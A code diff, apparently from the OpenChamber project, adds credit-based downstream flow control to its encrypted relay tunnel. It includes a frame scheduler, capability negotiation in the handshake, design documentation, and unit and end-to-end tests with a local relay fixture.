});
|
||||
|
||||
it('requests the key endpoint and never the credits endpoint', async () => {
|
||||
const fetchMock = vi.fn().mockResolvedValue(mockResponse(DOCUMENTED_PAYLOAD));
|
||||
vi.stubGlobal('fetch', fetchMock);
|
||||
|
||||
await fetchQuota();
|
||||
|
||||
const requestedUrl = fetchMock.mock.calls[0][0];
|
||||
expect(requestedUrl).toBe('https://openrouter.ai/api/v1/key');
|
||||
expect(requestedUrl).not.toContain('/api/v1/credits');
|
||||
});
|
||||
|
||||
it('resolves daily reset at the next UTC day across year boundaries', () => {
|
||||
expect(resolveResetAt('daily', Date.UTC(2024, 11, 31, 23, 59))).toBe(Date.UTC(2025, 0, 1));
|
||||
});
|
||||
|
||||
it('resolves weekly reset from Sunday to the next Monday', () => {
|
||||
expect(resolveResetAt('weekly', Date.UTC(2024, 0, 7, 12))).toBe(Date.UTC(2024, 0, 8));
|
||||
});
|
||||
|
||||
it('resolves weekly reset from Monday to the following Monday', () => {
|
||||
expect(resolveResetAt('weekly', Date.UTC(2024, 0, 8, 12))).toBe(Date.UTC(2024, 0, 15));
|
||||
});
|
||||
|
||||
it('resolves weekly reset from Wednesday to the next Monday', () => {
|
||||
expect(resolveResetAt('weekly', Date.UTC(2024, 0, 10, 12))).toBe(Date.UTC(2024, 0, 15));
|
||||
});
|
||||
|
||||
it('resolves monthly reset from January 31 to February 1', () => {
|
||||
expect(resolveResetAt('monthly', Date.UTC(2024, 0, 31, 12))).toBe(Date.UTC(2024, 1, 1));
|
||||
});
|
||||
|
||||
it('resolves monthly reset across December to January', () => {
|
||||
expect(resolveResetAt('monthly', Date.UTC(2024, 11, 31, 23, 59))).toBe(Date.UTC(2025, 0, 1));
|
||||
});
|
||||
|
||||
it('clamps percent at 100 while leaving the money label unclamped', async () => {
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue(mockResponse({
|
||||
data: { limit: 30, limit_remaining: -1, limit_reset: 'monthly', usage_monthly: 31 }
|
||||
})));
|
||||
|
||||
const result = await fetchQuota();
|
||||
const window = result.usage.windows.monthly;
|
||||
|
||||
expect(window.usedPercent).toBe(100);
|
||||
expect(window.valueLabel).toBe('$31.00 / $30.00');
|
||||
});
|
||||
});
|
||||
@@ -25,6 +25,7 @@ Host side (`packages/web/server/lib/relay/`):
|
||||
- `host-client.js` — the long-lived connection manager: one outbound control connection to the relay, a per-client data connection for each connected device, reconnect/backoff, and the E2EE responder handshake per connection.
|
||||
- `host-lock.js` — the per-machine host claim. Every local instance sharing the data dir shares the relay identity (same serverId), so concurrent relay hosts evict each other at the relay worker (`4001: Control replaced`) and paired devices land on whichever local process won last. The claim file (`<data-dir>/relay-host.lock`, `{ pid }`) makes this deterministic: `service.js` only starts the host when no LIVE process holds the claim (stale claims from dead pids are ignored), goes to `standby` otherwise, and a 30s watcher both takes over when the claimant dies and stands down when another process claims. A standby watcher waits a 2-minute grace after the claim frees before taking over, so a cleanly restarting host (app update/relaunch) — which reclaims at boot with no wait — always wins the restart window over a bystander instance. Explicit user intent — creating a pairing link or hitting `/relay/enable` — force-claims; the previous holder's watcher sees the takeover and backs off instead of fighting. Instances created with `allowPassiveHost: false` (dev servers via `OPENCHAMBER_RELAY_HOST=off`, the Electron dev shell via `OPENCHAMBER_ELECTRON_DEV`; `OPENCHAMBER_RELAY_HOST=on` overrides) never start the host passively at all — boot, demand reconcile, and watcher takeover leave them in `standby`; only explicit enable/pairing hosts there. The claim is cooperative (the relay worker still enforces the single host slot); it only decides which process keeps retrying.
|
||||
- `tunnel-host.js` — the per-connection dispatcher: decrypts tunnel frames and forwards HTTP/SSE/WS to the local server over loopback, then streams responses back. Enforces a path allowlist and never injects credentials.
|
||||
- `downstream-scheduler.js` owns end-client delivery credit and round-robin transmission across response streams. It selects plaintext frames before encryption.
|
||||
- `e2ee.js`, `tunnel-codec.js` — host-side (JS) mirrors of the shared crypto and framing (see "Two implementations" below).
|
||||
|
||||
Client side (`packages/ui/src/lib/relay/`):
|
||||
@@ -47,6 +48,53 @@ The host dispatcher restricts tunneled traffic to explicit path allowlists (one
|
||||
|
||||
Request bodies crossing the tunnel are buffered on the host and forwarded to loopback only once the client's `StreamEnd` frame arrives (bodies above ~512 KB stream live instead). A body whose frames were lost in transit therefore never reaches the loopback server as an empty/truncated chunked body — the host aborts the stream and the client sees an ambiguous transport failure it can retry, instead of the loopback server's bare `400` ("Failed to send message (400)" from the mobile app).
|
||||
|
||||
## Downstream flow control
|
||||
|
||||
`hello` and `ready` negotiate `flowControl: true` independently of `batch`.
|
||||
When either peer omits the flag, the host keeps the legacy transmission path.
|
||||
This capability controls host-to-client traffic only. Uploads retain their
|
||||
existing request-body behavior. The Cloudflare broker needs no changes.
|
||||
|
||||
The client sends encrypted `DeliveryAck` frames on stream zero. Their payload is
|
||||
an eight-byte unsigned big-endian cumulative count of received raw tunnel-frame
|
||||
bytes on nonzero streams, including the five-byte frame header. Batch envelopes,
|
||||
encryption overhead and stream-zero keepalives are excluded. The count resets
|
||||
with each handshake. ACKs cover complete frames and include late frames for
|
||||
cancelled streams, since those frames still consumed credit. The host rejects
|
||||
duplicate, regressing, partial-frame or beyond-sent acknowledgements.
|
||||
|
||||
The client acknowledges after decoding and dispatching transport data, without
|
||||
waiting for React rendering. It coalesces acknowledgements by byte count with a
|
||||
short timer for the tail. Keepalives and ACK processing never await downstream
|
||||
credit, which would deadlock the channel.
|
||||
|
||||
The scheduler starts with a small byte window. A backlogged sender can grow its
|
||||
window when ACK latency stays near the best observed round trip, and reduces it
|
||||
when delivery delay rises. Sparse traffic cannot inflate the window for a later
|
||||
bulk burst. The window has a hard upper bound; a sudden bandwidth drop can still
|
||||
delay bytes already sent, but cannot create an unlimited network backlog.
|
||||
|
||||
HTTP bodies and WS messages are sliced into small frames. The scheduler rotates
|
||||
streams, preserves each stream's order, and batches selected frames before the
|
||||
serialized encryption step. Producers offer a bounded group of slices and await
|
||||
transmission before reading more. The legacy timed batcher remains in use only
|
||||
without negotiated flow control.
|
||||
|
||||
HTTP/SSE backpressure reaches the loopback response reader. Node's `ws` pauses
|
||||
loopback socket reads while output is waiting. Bun's `ws` shim cannot pause, so
|
||||
the dispatcher instead enforces a connection-wide pending WS byte/message cap
|
||||
and explicitly aborts the offending substream on overflow. It never silently
|
||||
discards deltas. WS output messages are serialized through their last fragment,
|
||||
and the close frame follows pending output. Cancellation releases queued work;
|
||||
channel teardown releases all producers and acknowledgement state.
|
||||
|
||||
Regression coverage lives in `downstream-scheduler.test.js`, `flow-control.test.js`
|
||||
and `cross-compat.test.js`. The end-to-end fixture uses the real client, host,
|
||||
crypto and loopback requests with a byte-paced relay leg. It compares delivery
|
||||
ordering, queue growth and a concurrent small response, including both legacy
|
||||
fallback directions, unbatched operation, cancellation and fragmented WS output.
|
||||
It does not replace a physical iOS/LTE check.
|
||||
|
||||
## Authentication model
|
||||
|
||||
- The tunnel is **transport only**. The OpenChamber server still authenticates every tunneled request exactly as it authenticates a direct remote client. The relay path grants reachability, not authorization.
|
||||
@@ -87,6 +135,13 @@ The E2EE and framing logic exists twice: TypeScript in `packages/ui/src/lib/rela
|
||||
|
||||
## Runtime integration (client)
|
||||
|
||||
Client keepalive liveness comes from received frames only. Outbound HTTP retries
|
||||
cannot suppress a probe of a silent peer. Any valid inbound traffic, including a
|
||||
Pong, clears the probe deadline. Terminal relay close codes retain their error
|
||||
for the lifetime of that client: subsequent HTTP requests and WS opens fail
|
||||
immediately rather than waiting for a reconnect that will never be scheduled.
|
||||
Transient failures still use the existing reconnect/backoff path.
|
||||
|
||||
Relay mode plugs into the existing client transport layer rather than a parallel path: `runtime-switch` activates the tunnel singleton, `runtime-fetch` routes runtime requests through it, `runtime-url`/`runtime-socket` yield tunnel-backed URLs and sockets, and `runtime-auth` mints the URL-scoped token through the tunnel. Direct-URL connections and the Electron realtime-proxy path are unaffected.
|
||||
|
||||
## Design invariants (do not regress)
|
||||
|
||||
@@ -12,16 +12,42 @@ import {
|
||||
decodeTunnelFrame as jsDecode,
|
||||
encodeFrameBatch as jsEncodeBatch,
|
||||
encodeTunnelFrame as jsEncode,
|
||||
decodeDeliveryAck,
|
||||
} from './tunnel-codec.js';
|
||||
import {
|
||||
decodeFrameBatch as tsDecodeBatch,
|
||||
decodeTunnelFrame as tsDecode,
|
||||
encodeFrameBatch as tsEncodeBatch,
|
||||
encodeTunnelFrame as tsEncode,
|
||||
encodeDeliveryAck,
|
||||
} from '../../../../ui/src/lib/relay/tunnel-codec.ts';
|
||||
import { TunnelFrameType as TsFrameType } from '../../../../ui/src/lib/relay/protocol.ts';
|
||||
|
||||
describe('relay JS-host <-> TS-client cross compatibility', () => {
|
||||
it('negotiates flow control independently of batching, with legacy fallback on either side', async () => {
|
||||
const keys = await generateEcdhKeyPair();
|
||||
const pub = await exportPublicKeyJwk(keys.publicKey);
|
||||
for (const batch of [false, true]) {
|
||||
for (const clientFlow of [false, true]) {
|
||||
for (const hostFlow of [false, true]) {
|
||||
const client = await createClientHandshake(pub, { batch, flowControl: clientFlow });
|
||||
const host = createHostHandshake(keys.privateKey, { batch, flowControl: hostFlow });
|
||||
const ready = await host.handleText(client.helloText);
|
||||
const established = await client.handleText(ready.replyText);
|
||||
expect(ready.flowControl).toBe(clientFlow && hostFlow);
|
||||
expect(established.flowControl).toBe(clientFlow && hostFlow);
|
||||
expect(established.batch).toBe(batch);
|
||||
expect((await host.handleText(client.helloText)).text).toBe(ready.replyText);
|
||||
}
|
||||
}
|
||||
}
|
||||
expect(JsFrameType).toEqual(TsFrameType);
|
||||
for (const bytes of [0, 8197, 2 ** 32 + 17, Number.MAX_SAFE_INTEGER]) {
|
||||
expect(decodeDeliveryAck(encodeDeliveryAck(bytes))).toBe(bytes);
|
||||
}
|
||||
expect(() => decodeDeliveryAck(new Uint8Array(7))).toThrow();
|
||||
expect(() => decodeDeliveryAck(new Uint8Array(8).fill(255))).toThrow();
|
||||
});
|
||||
it('completes a handshake and exchanges frames both ways', async () => {
|
||||
const hostKeys = await generateEcdhKeyPair();
|
||||
const hostPubJwk = await exportPublicKeyJwk(hostKeys.publicKey);
|
||||
|
||||
@@ -0,0 +1,154 @@
|
||||
// Downstream credit belongs to the end client, not the relay's TCP connection.
|
||||
// Producers await send(), so HTTP readers stop before building a plaintext queue.
|
||||
import { decodeTunnelFrame } from './tunnel-codec.js';
|
||||
import { MAX_PLAINTEXT_FRAME_BYTES } from './e2ee.js';
|
||||
|
||||
export const DOWNSTREAM_CHUNK_BYTES = 8 * 1024;
|
||||
const MIN_WINDOW_BYTES = 64 * 1024;
|
||||
const MAX_WINDOW_BYTES = 1024 * 1024;
|
||||
const MAX_QUEUED_BYTES = 4 * 1024 * 1024;
|
||||
const MAX_QUEUED_FRAMES = 4096;
|
||||
const MAX_OUTSTANDING_FRAMES = 4096;
|
||||
const QUEUE_DELAY_TARGET_MS = 100;
|
||||
|
||||
export const createDownstreamScheduler = ({ sendBatch, onError, maxBatchFrames = 32, now = () => performance.now() }) => {
|
||||
const queues = new Map();
|
||||
const outstanding = [];
|
||||
let queuedBytes = 0;
|
||||
let queuedFrames = 0;
|
||||
let sentBytes = 0;
|
||||
let acknowledgedBytes = 0;
|
||||
let windowBytes = MIN_WINDOW_BYTES;
|
||||
let minRtt = Infinity;
|
||||
let adjustmentBoundary = MIN_WINDOW_BYTES;
|
||||
let windowLimited = false;
|
||||
let draining = false;
|
||||
let closed = false;
|
||||
let sending = [];
|
||||
|
||||
const close = () => {
|
||||
closed = true;
|
||||
for (const queue of queues.values()) for (const entry of queue) entry.resolve();
|
||||
for (const entry of sending) entry.resolve();
|
||||
sending = [];
|
||||
queues.clear();
|
||||
outstanding.length = 0;
|
||||
queuedBytes = 0;
|
||||
queuedFrames = 0;
|
||||
};
|
||||
|
||||
const fail = error => {
|
||||
close();
|
||||
onError(error);
|
||||
};
|
||||
|
||||
const drain = async () => {
|
||||
if (draining || closed) return;
|
||||
draining = true;
|
||||
try {
|
||||
while (!closed) {
|
||||
const selected = [];
|
||||
let batchBytes = 1;
|
||||
while (selected.length < maxBatchFrames) {
|
||||
// Stream zero carries only tiny keepalives; it must not wait for credit.
|
||||
const next = queues.has(0) ? [0, queues.get(0)] : queues.entries().next().value;
|
||||
if (!next) break;
|
||||
const [streamId, queue] = next;
|
||||
const entry = queue[0];
|
||||
// Do not skip a larger head indefinitely in favour of smaller frames.
|
||||
if (streamId !== 0 && sentBytes - acknowledgedBytes + entry.frame.length > windowBytes) {
|
||||
windowLimited = true;
|
||||
break;
|
||||
}
|
||||
if (streamId !== 0 && outstanding.length >= MAX_OUTSTANDING_FRAMES) break;
|
||||
if (batchBytes + 4 + entry.frame.length > MAX_PLAINTEXT_FRAME_BYTES) break;
|
||||
queue.shift();
|
||||
queues.delete(streamId);
|
||||
if (queue.length) queues.set(streamId, queue);
|
||||
queuedBytes -= entry.frame.length;
|
||||
queuedFrames -= 1;
|
||||
if (streamId !== 0) {
|
||||
sentBytes += entry.frame.length;
|
||||
outstanding.push({ end: sentBytes, at: now() });
|
||||
}
|
||||
selected.push(entry);
|
||||
batchBytes += 4 + entry.frame.length;
|
||||
}
|
||||
if (!selected.length) break;
|
||||
sending = selected;
|
||||
try {
|
||||
// Selection precedes encryption. Never reorder encrypted IV counters.
|
||||
await sendBatch(selected.map(entry => entry.frame));
|
||||
} finally {
|
||||
for (const entry of selected) entry.resolve();
|
||||
sending = [];
|
||||
}
|
||||
}
|
||||
} catch (error) {
|
||||
fail(error);
|
||||
} finally {
|
||||
draining = false;
|
||||
}
|
||||
};
|
||||
|
||||
return {
|
||||
send(frame) {
|
||||
if (closed) return Promise.resolve();
|
||||
const { streamId } = decodeTunnelFrame(frame);
|
||||
if (queuedBytes + frame.length > MAX_QUEUED_BYTES || queuedFrames >= MAX_QUEUED_FRAMES) {
|
||||
fail(new Error('relay downstream queue limit exceeded'));
|
||||
return Promise.resolve();
|
||||
}
|
||||
return new Promise(resolve => {
|
||||
const queue = queues.get(streamId) ?? [];
|
||||
queue.push({ frame, resolve, streamId });
|
||||
queues.set(streamId, queue);
|
||||
queuedBytes += frame.length;
|
||||
queuedFrames += 1;
|
||||
// Let concurrent streams join this round before selecting the next frame.
|
||||
queueMicrotask(() => { void drain(); });
|
||||
});
|
||||
},
|
||||
acknowledge(bytes) {
|
||||
if (closed) return;
|
||||
if (!Number.isSafeInteger(bytes) || bytes <= acknowledgedBytes || bytes > sentBytes) {
|
||||
throw new Error('invalid relay delivery acknowledgement');
|
||||
}
|
||||
// An ACK may cover several complete frames, never a partial frame.
|
||||
const endIndex = outstanding.findIndex(entry => entry.end === bytes);
|
||||
if (endIndex < 0) throw new Error('relay acknowledgement is not a frame boundary');
|
||||
const rtt = Math.max(1, now() - outstanding[endIndex].at);
|
||||
outstanding.splice(0, endIndex + 1);
|
||||
acknowledgedBytes = bytes;
|
||||
minRtt = Math.min(minRtt, rtt);
|
||||
// Grow on a clear path, reduce when the client's delivery delay grows.
|
||||
// Adjust once per window, not once per frame in a burst of ACKs.
|
||||
if (bytes >= adjustmentBoundary) {
|
||||
if (rtt > minRtt + QUEUE_DELAY_TARGET_MS) {
|
||||
windowBytes = Math.max(MIN_WINDOW_BYTES, Math.floor(windowBytes / 2));
|
||||
} else if (windowLimited) {
|
||||
// Sparse token traffic must not inflate a future bash burst's window.
|
||||
windowBytes = Math.min(MAX_WINDOW_BYTES, windowBytes * 2);
|
||||
}
|
||||
windowLimited = false;
|
||||
adjustmentBoundary = bytes + windowBytes;
|
||||
}
|
||||
void drain();
|
||||
},
|
||||
cancel(streamId) {
|
||||
// Already-selected bytes may still arrive and must still be ACKed, but
|
||||
// cancelled producers need not wait for an in-progress encryption call.
|
||||
for (const entry of sending) if (entry.streamId === streamId) entry.resolve();
|
||||
const queue = queues.get(streamId);
|
||||
if (!queue) return;
|
||||
queues.delete(streamId);
|
||||
for (const entry of queue) {
|
||||
queuedBytes -= entry.frame.length;
|
||||
queuedFrames -= 1;
|
||||
entry.resolve();
|
||||
}
|
||||
void drain();
|
||||
},
|
||||
close,
|
||||
};
|
||||
};
|
||||
@@ -0,0 +1,162 @@
|
||||
import { describe, expect, test } from 'bun:test';
|
||||
import { createDownstreamScheduler, DOWNSTREAM_CHUNK_BYTES } from './downstream-scheduler.js';
|
||||
import { encodeTunnelFrame, decodeTunnelFrame, TunnelFrameType } from './tunnel-codec.js';
|
||||
|
||||
const tick = () => new Promise(resolve => setTimeout(resolve, 0));
|
||||
const body = (streamId, value = 0, size = DOWNSTREAM_CHUNK_BYTES) =>
|
||||
encodeTunnelFrame(TunnelFrameType.HttpBody, streamId, new Uint8Array(size).fill(value));
|
||||
|
||||
function fixture() {
|
||||
const sent = [];
|
||||
const errors = [];
|
||||
let time = 0;
|
||||
const scheduler = createDownstreamScheduler({
|
||||
sendBatch: async frames => { sent.push(...frames); },
|
||||
onError: error => errors.push(error.message),
|
||||
now: () => time,
|
||||
});
|
||||
return { scheduler, sent, errors, advance: ms => { time += ms; } };
|
||||
}
|
||||
|
||||
describe('relay downstream scheduling', () => {
|
||||
test('stops without end-client ACKs even when the relay socket accepts everything', async () => {
|
||||
const { scheduler, sent } = fixture();
|
||||
const pending = Array.from({ length: 100 }, () => scheduler.send(body(1)));
|
||||
await tick();
|
||||
const bytes = sent.reduce((sum, frame) => sum + frame.length, 0);
|
||||
expect(bytes).toBeLessThanOrEqual(64 * 1024);
|
||||
expect(bytes).toBeGreaterThan(48 * 1024);
|
||||
await tick();
|
||||
expect(sent.reduce((sum, frame) => sum + frame.length, 0)).toBe(bytes);
|
||||
scheduler.acknowledge(bytes);
|
||||
await tick();
|
||||
expect(sent.reduce((sum, frame) => sum + frame.length, 0)).toBeGreaterThan(bytes);
|
||||
scheduler.close();
|
||||
await Promise.all(pending);
|
||||
});
|
||||
|
||||
test('rotates streams while preserving every delta and each stream end', async () => {
|
||||
const { scheduler, sent } = fixture();
|
||||
const pending = [];
|
||||
for (let value = 0; value < 3; value++) pending.push(scheduler.send(body(1, value)));
|
||||
pending.push(scheduler.send(encodeTunnelFrame(TunnelFrameType.StreamEnd, 1, new Uint8Array())));
|
||||
pending.push(scheduler.send(body(3, 99, 10)));
|
||||
await Promise.all(pending);
|
||||
expect(sent.map(frame => decodeTunnelFrame(frame).streamId)).toEqual([1, 3, 1, 1, 1]);
|
||||
expect(sent.filter(frame => decodeTunnelFrame(frame).streamId === 1).map(frame => decodeTunnelFrame(frame).payload[0])).toEqual([0, 1, 2, undefined]);
|
||||
scheduler.close();
|
||||
});
|
||||
|
||||
test('keepalives bypass credit; cancellation and close release blocked producers', async () => {
|
||||
const { scheduler, sent } = fixture();
|
||||
const pending = Array.from({ length: 20 }, () => scheduler.send(body(1)));
|
||||
await tick();
|
||||
const before = sent.length;
|
||||
await scheduler.send(encodeTunnelFrame(TunnelFrameType.Pong, 0, new Uint8Array()));
|
||||
expect(sent.length).toBe(before + 1);
|
||||
scheduler.cancel(1);
|
||||
await Promise.all(pending);
|
||||
const blocked = scheduler.send(body(3));
|
||||
scheduler.close();
|
||||
await blocked;
|
||||
// Teardown makes late ACKs harmless.
|
||||
scheduler.acknowledge(123);
|
||||
});
|
||||
|
||||
test('rejects forged, replayed, regressing and partial-frame ACKs', async () => {
|
||||
const { scheduler, sent } = fixture();
|
||||
await scheduler.send(body(1));
|
||||
const bytes = sent[0].length;
|
||||
for (const value of [0, -1, 1, bytes + 1, NaN, Infinity]) {
|
||||
expect(() => scheduler.acknowledge(value)).toThrow();
|
||||
}
|
||||
scheduler.acknowledge(bytes);
|
||||
expect(() => scheduler.acknowledge(bytes)).toThrow();
|
||||
scheduler.close();
|
||||
});
|
||||
|
||||
test('bounds pending memory and reports overflow instead of silently dropping deltas', async () => {
|
||||
const { scheduler, errors } = fixture();
|
||||
const pending = Array.from({ length: 600 }, () => scheduler.send(body(1)));
|
||||
await Promise.all(pending);
|
||||
expect(errors).toEqual(['relay downstream queue limit exceeded']);
|
||||
});
|
||||
|
||||
test('send failure settles selected and queued producers', async () => {
|
||||
const errors = [];
|
||||
const scheduler = createDownstreamScheduler({
|
||||
sendBatch: async () => { throw new Error('wire failed'); },
|
||||
onError: error => errors.push(error.message),
|
||||
});
|
||||
await Promise.all([scheduler.send(body(1)), scheduler.send(body(3))]);
|
||||
expect(errors).toEqual(['wire failed']);
|
||||
});
|
||||
|
||||
test('teardown releases a producer even while encryption is still pending', async () => {
|
||||
let release;
|
||||
let started = false;
|
||||
const scheduler = createDownstreamScheduler({
|
||||
sendBatch: () => new Promise(resolve => { started = true; release = resolve; }),
|
||||
onError: error => { throw error; },
|
||||
});
|
||||
const pending = scheduler.send(body(1));
|
||||
await tick();
|
||||
expect(started).toBe(true);
|
||||
scheduler.close();
|
||||
await pending;
|
||||
release();
|
||||
await tick();
|
||||
});
|
||||
|
||||
test('sparse traffic cannot inflate the window for a later bulk burst', async () => {
|
||||
const { scheduler, sent, advance } = fixture();
|
||||
let acknowledged = 0;
|
||||
for (let i = 0; i < 100; i++) {
|
||||
const frame = body(1);
|
||||
await scheduler.send(frame);
|
||||
advance(50);
|
||||
acknowledged += frame.length;
|
||||
scheduler.acknowledge(acknowledged);
|
||||
}
|
||||
const before = sent.length;
|
||||
const pending = Array.from({ length: 100 }, () => scheduler.send(body(1)));
|
||||
await tick();
|
||||
expect(sent.slice(before).reduce((sum, frame) => sum + frame.length, 0)).toBeLessThanOrEqual(64 * 1024);
|
||||
scheduler.close();
|
||||
await Promise.all(pending);
|
||||
});
|
||||
|
||||
test('adapts to a clear high-RTT path, then contracts when delivery backs up', async () => {
|
||||
const { scheduler, sent, advance, errors } = fixture();
|
||||
let acknowledged = 0;
|
||||
let maxFlight = 0;
|
||||
const pending = Array.from({ length: 400 }, () => scheduler.send(body(1)));
|
||||
for (let round = 0; round < 12; round++) {
|
||||
// Keep enough queued output to exercise growth all the way to the cap.
|
||||
while (pending.length < sent.length + 400) pending.push(scheduler.send(body(1)));
|
||||
await tick();
|
||||
const delivered = sent.reduce((sum, frame) => sum + frame.length, 0);
|
||||
maxFlight = Math.max(maxFlight, delivered - acknowledged);
|
||||
expect(delivered - acknowledged).toBeLessThanOrEqual(1024 * 1024);
|
||||
advance(200);
|
||||
scheduler.acknowledge(delivered);
|
||||
acknowledged = delivered;
|
||||
}
|
||||
// Reach the cap with a backlogged sender, allowing for whole-frame sizing.
|
||||
expect(maxFlight).toBeGreaterThan(1024 * 1024 - body(1).length);
|
||||
// Keep the sender backlogged while ACK latency jumps to a second.
|
||||
for (let round = 0; round < 12; round++) {
|
||||
for (let i = 0; i < 30; i++) pending.push(scheduler.send(body(1)));
|
||||
await tick();
|
||||
const delivered = sent.reduce((sum, frame) => sum + frame.length, 0);
|
||||
advance(1000);
|
||||
scheduler.acknowledge(delivered);
|
||||
acknowledged = delivered;
|
||||
}
|
||||
await tick();
|
||||
expect(sent.reduce((sum, frame) => sum + frame.length, 0) - acknowledged).toBeLessThanOrEqual(64 * 1024);
|
||||
expect(errors).toEqual([]);
|
||||
scheduler.close();
|
||||
await Promise.all(pending);
|
||||
});
|
||||
});
|
||||
@@ -252,11 +252,12 @@ const parseHandshakeMessage = (raw) => {
|
||||
if (parsed.v !== RELAY_PROTOCOL_VERSION) return null;
|
||||
// Unknown/missing capability flag = false = legacy behavior.
|
||||
const batch = parsed.batch === true;
|
||||
const flowControl = parsed.flowControl === true;
|
||||
if (parsed.t === 'ready') {
|
||||
return { t: 'ready', v: RELAY_PROTOCOL_VERSION, batch };
|
||||
return { t: 'ready', v: RELAY_PROTOCOL_VERSION, batch, flowControl };
|
||||
}
|
||||
if (parsed.t === 'hello' && typeof parsed.nonce === 'string' && typeof parsed.clientPubJwk === 'object' && parsed.clientPubJwk !== null) {
|
||||
return { t: 'hello', v: RELAY_PROTOCOL_VERSION, clientPubJwk: parsed.clientPubJwk, nonce: parsed.nonce, batch };
|
||||
return { t: 'hello', v: RELAY_PROTOCOL_VERSION, clientPubJwk: parsed.clientPubJwk, nonce: parsed.nonce, batch, flowControl };
|
||||
}
|
||||
return null;
|
||||
};
|
||||
@@ -275,7 +276,7 @@ const failClosed = (reason) => ({
|
||||
* { type: 'ignore' } — drop the frame
|
||||
* { type: 'fail', closeCode, reason } — close the socket with closeCode
|
||||
* @param {CryptoKey} hostEncPrivateKey long-lived ECDH private key
|
||||
* @param {{ batch?: boolean }} [options] `batch` defaults true; set false to force legacy behavior
|
||||
* @param {{ batch?: boolean, flowControl?: boolean }} [options] Capabilities default true.
|
||||
*/
|
||||
export const createHostHandshake = (hostEncPrivateKey, options = {}) => {
|
||||
const localBatch = options.batch !== false;
|
||||
@@ -321,15 +322,16 @@ export const createHostHandshake = (hostEncPrivateKey, options = {}) => {
|
||||
acceptedClientKeyFingerprint = fingerprint;
|
||||
// Batching runs only if both peers advertised it.
|
||||
negotiatedBatch = localBatch && message.batch === true;
|
||||
readyText = JSON.stringify(
|
||||
negotiatedBatch
|
||||
? { t: 'ready', v: RELAY_PROTOCOL_VERSION, batch: true }
|
||||
: { t: 'ready', v: RELAY_PROTOCOL_VERSION },
|
||||
);
|
||||
const flowControl = options.flowControl !== false && message.flowControl === true;
|
||||
const ready = { t: 'ready', v: RELAY_PROTOCOL_VERSION };
|
||||
if (negotiatedBatch) ready.batch = true;
|
||||
if (flowControl) ready.flowControl = true;
|
||||
readyText = JSON.stringify(ready);
|
||||
established = true;
|
||||
return {
|
||||
type: 'established',
|
||||
batch: negotiatedBatch,
|
||||
flowControl,
|
||||
replyText: readyText,
|
||||
channel: {
|
||||
encryptor: createFrameEncryptor(keys.hostToClient),
|
||||
|
||||
@@ -0,0 +1,177 @@
|
||||
import { describe, expect, test } from 'bun:test';
|
||||
import http from 'node:http';
|
||||
import { WebSocketServer } from 'ws';
|
||||
import { startRelayHost } from './host-client.js';
|
||||
import { generateEcdhKeyPair, exportPublicKeyJwk } from './e2ee.js';
|
||||
import { createRelayTunnelClient } from '../../../../ui/src/lib/relay/tunnel-client.ts';
|
||||
|
||||
const waitFor = async predicate => {
|
||||
for (let attempt = 0; attempt < 1000; attempt++) {
|
||||
if (predicate()) return;
|
||||
await new Promise(resolve => setTimeout(resolve, 5));
|
||||
}
|
||||
throw new Error('test condition timed out');
|
||||
};
|
||||
|
||||
async function exercise({ clientFlow = true, hostFlow = true, batch = true, cancel = false, websocket = false } = {}) {
|
||||
const total = 512 * 1024;
|
||||
const content = Buffer.alloc(total, 'a');
|
||||
content.fill('b', total / 2);
|
||||
const upstream = http.createServer((req, res) => {
|
||||
// HTTP bearer ownership is unchanged by flow control.
|
||||
if (req.headers.authorization !== 'Bearer fixture-token') { res.writeHead(401); res.end(); return; }
|
||||
res.end(req.url === '/health' ? 'ok' : content);
|
||||
});
|
||||
const upstreamWs = new WebSocketServer({ noServer: true });
|
||||
upstream.on('upgrade', (req, socket, head) => {
|
||||
// Mirror the real URL-token and loopback-origin gates for tunneled WS.
|
||||
const query = new URL(req.url, 'http://localhost');
|
||||
if (query.searchParams.get('oc_url_token') !== 'fixture-url-token' || req.headers.origin !== `http://127.0.0.1:${upstream.address().port}`) {
|
||||
socket.end('HTTP/1.1 403 Forbidden\r\n\r\n');
|
||||
return;
|
||||
}
|
||||
upstreamWs.handleUpgrade(req, socket, head, ws => {
|
||||
ws.send(content.subarray(0, total / 2));
|
||||
ws.send(content.subarray(total / 2));
|
||||
// Let Bun finish the local write turn, then close while the throttled
|
||||
// tunnel still has most of the two messages queued.
|
||||
setTimeout(() => ws.close(1000, 'complete'), 20);
|
||||
});
|
||||
});
|
||||
await new Promise(resolve => upstream.listen(0, '127.0.0.1', resolve));
|
||||
const relay = new WebSocketServer({ host: '127.0.0.1', port: 0 });
|
||||
await new Promise(resolve => relay.on('listening', resolve));
|
||||
let control;
|
||||
let clientSocket;
|
||||
let hostData;
|
||||
const waiting = [];
|
||||
const down = [];
|
||||
// This fixture brokers an isolated room only; it does not replace production
|
||||
// relay authentication. Neither WebSocket leg fails or drops a frame.
|
||||
relay.on('connection', (socket, req) => {
|
||||
const role = new URL(req.url, 'http://localhost').searchParams.get('role');
|
||||
if (role === 'host-control') {
|
||||
control = socket;
|
||||
socket.send(JSON.stringify({ type: 'sync', connectionIds: clientSocket ? ['fixture'] : [] }));
|
||||
} else if (role === 'client') {
|
||||
clientSocket = socket;
|
||||
control?.send(JSON.stringify({ type: 'connected', connectionId: 'fixture' }));
|
||||
socket.on('message', (data, binary) => {
|
||||
if (hostData) hostData.send(data, { binary });
|
||||
else waiting.push({ data, binary });
|
||||
});
|
||||
} else {
|
||||
hostData = socket;
|
||||
for (const frame of waiting.splice(0)) socket.send(frame.data, { binary: frame.binary });
|
||||
socket.on('message', (data, binary) => {
|
||||
down.push({ data, binary });
|
||||
});
|
||||
}
|
||||
});
|
||||
// Drain at a byte budget, not a frame count: frame-size changes cannot make
|
||||
// the test's effective bandwidth change. Preserve whole WS messages in order.
|
||||
let credit = 0;
|
||||
const drain = setInterval(() => {
|
||||
credit = Math.min(128 * 1024, credit + 4096);
|
||||
while (down.length && down[0].data.length <= credit) {
|
||||
const frame = down.shift();
|
||||
credit -= frame.data.length;
|
||||
clientSocket.send(frame.data, { binary: frame.binary });
|
||||
}
|
||||
}, 5);
|
||||
const keys = await generateEcdhKeyPair();
|
||||
const relayUrl = `ws://127.0.0.1:${relay.address().port}/ws`;
|
||||
const host = startRelayHost({
|
||||
relayUrl, localPort: upstream.address().port, batch, flowControl: hostFlow,
|
||||
identity: { serverId: 'fixture', hostEncPrivateKey: keys.privateKey, signRelayAuth: () => ({ ts: 0, sig: '', pk: '' }) },
|
||||
});
|
||||
